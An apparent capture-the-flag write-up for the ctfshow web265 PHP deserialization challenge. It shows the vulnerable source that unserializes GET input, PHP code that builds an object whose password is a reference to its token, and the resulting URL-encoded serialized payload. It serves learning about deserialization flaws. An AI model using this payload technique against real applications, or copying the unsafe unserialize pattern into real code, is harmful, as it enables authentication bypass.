当前位置:网站首页>Ctfshow-web265 (deserialization)
Ctfshow-web265 (deserialization)
2022-06-12 19:37:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}Must let token===password You can get flag
I make them equal to an unworthy result $this->token=1; $this->password =1;
To make two parameters point to the same address
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password =&$this->token;
}
}
$a=new ctfshowAdmin();
echo urlencode(serialize($a));?ctfshow=O%3A12%3A"ctfshowAdmin"%3A2%3A{s%3A5%3A"token"%3Bs%3A1%3A"a"%3Bs%3A8%3A"password"%3BR%3A2%3B}边栏推荐
- Demand and business model innovation - demand 1 - Introduction to demand engineering
- What did 3GPP ran do in the first F2F meeting?
- Cookie & Session & kaptcha驗證碼
- 今晚7:00 | PhD Debate 自监督学习在推荐系统中的应用
- ISCC2022
- Cookie & session & kaptcha verification code
- Demand and business model innovation-5-process
- ThansmittableThreadLocal详解
- Report on market demand trends and future strategic planning recommendations of the global and Chinese smart financial solutions industry 2022-2028
- Global and Chinese smart government industry market research and investment risk outlook report 2022-2028
猜你喜欢
![[generation confrontation network learning III] reading notes of Bigan paper and its principle understanding](/img/6b/0f0815e20cdf6da28793562bcaede1.png)
[generation confrontation network learning III] reading notes of Bigan paper and its principle understanding

Business opportunities with an annual increase of 3billion - non cage eggs or a new blue ocean for export to ASEAN

Understand Jack Dorsey's web5 from the ppt on page 16
![[5gc] Introduction to three SSC (session and service continuity) modes](/img/98/6e08986269c5dc1f5ce192cdef3e9f.png)
[5gc] Introduction to three SSC (session and service continuity) modes

基于微信电子书阅读小程序毕业设计毕设作品(6)开题答辩PPT

Demand and business model analysis-1-business model canvas

What is data driven
![[blockbuster release] ant dynamic card, enabling the app home page to realize agile update](/img/a6/62caef27b917bbb4c5529de46bc7f9.jpg)
[blockbuster release] ant dynamic card, enabling the app home page to realize agile update

Detailed explanation of IO flow basic knowledge -- file and IO flow principle

Reading small program graduation design based on wechat e-book (5) assignment
随机推荐
Learning summary in March
Negative remainder problem
简单理解防抖函数
Jenkins各配置选项介绍原创
review.js ppt数学公式无法显示
Add, delete, modify and query mysql, common MySQL commands
Mysql database experiment I data definition
Leetcode topic [string]-344- reverse string
Blue Bridge Cup basic-14 VIP question time conversion
Reasonably configure thread pool
【刷题笔记】线段树
system()
进程的创建fork()、消亡wait()
Download and configuration of nuitka packaging tutorial
5g R17 standard is frozen. What does it say?
Demand and business model analysis-1-business model canvas
基於分布式數據庫本身的定時備份方法
How do I create my own appender in log4j- How to create my own Appender in log4j?
torch 网络模型转换onnx格式,并可视化
Demand and business model analysis-2-business model types